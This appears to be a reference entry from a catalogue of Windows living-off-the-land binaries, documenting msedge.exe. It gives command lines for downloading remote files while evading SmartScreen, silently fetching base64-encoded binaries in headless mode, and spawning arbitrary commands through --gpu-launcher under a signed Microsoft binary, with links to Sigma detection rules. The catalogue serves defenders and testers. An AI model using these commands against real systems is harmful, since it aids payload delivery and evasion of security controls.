Msedge.exe
Microsoft Edge browser
Full path
c:\Program Files\Microsoft\Edge\Application\msedge.exe
c:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeCommands
Download file from the internet
msedge.exe {REMOTEURL:.exe.txt}Edge will launch and download the file. A ‘harmless’ file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.
os: Windows 10, Windows 11
Download file from the internet
msedge.exe --headless --enable-logging --disable-gpu --dump-dom "{REMOTEURL:.base64.html}" > {PATH:.b64}Edge will silently download the file. File extension should be .html and binaries should be encoded.
os: Windows 10, Windows 11
Executes a process under a trusted Microsoft signed binary
msedge.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"Edge spawns cmd.exe as a child process of msedge.exe and executes the specified command
os: Windows 10, Windows 11
Detection
- Sigma https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_msedge_arbitrary_download.yml
- Sigma https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download.yml
Resources
acknowledgement: mr.d0x @mrd0x